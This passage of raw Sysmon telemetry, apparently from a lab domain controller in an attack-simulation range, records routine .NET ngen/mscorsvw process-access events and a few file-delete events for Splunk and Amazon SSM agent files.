Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.855{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-4709-00000000F001}6872C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.845{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-4709-00000000F001}6872C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.845{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-4709-00000000F001}6872C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.805{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-4609-00000000F001}5208C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.784{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-4609-00000000F001}5208C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.784{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-4609-00000000F001}5208C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.684{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-4509-00000000F001}6636C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.675{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-4509-00000000F001}6636C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.675{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-4509-00000000F001}6636C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.634{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-4409-00000000F001}6376C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.624{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-4409-00000000F001}6376C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.624{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-4409-00000000F001}6376C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.594{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-4309-00000000F001}4604C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.584{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-4309-00000000F001}4604C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.584{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-4309-00000000F001}4604C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.542{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-4209-00000000F001}2520C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.522{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-4209-00000000F001}2520C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.522{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-4209-00000000F001}2520C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.512{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=43F1B1454DDC8B05AA1393E57FE03BBE,SHA256=AE5B41C74D77F3B7A8546381AAED276ACE41D8E6C727E5455E2AB94EE282BC3C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.502{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4E3622D28FE11078EB22ABE45A358F3E,SHA256=F1F582E5F9DC56661A85FC89FF722110568A4DE0B2EC518257C2BE348E567435,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.502{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B9E9555CE9B0AE1FCC45A4C2BF3F9479,SHA256=52137D4D1638B9C0BCF690F3A437EF683AA4C493E9F4EA37FAE3606EF57F3787,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.457{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-039MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.444{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-4109-00000000F001}1552C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.424{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-4109-00000000F001}1552C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.424{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-4109-00000000F001}1552C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 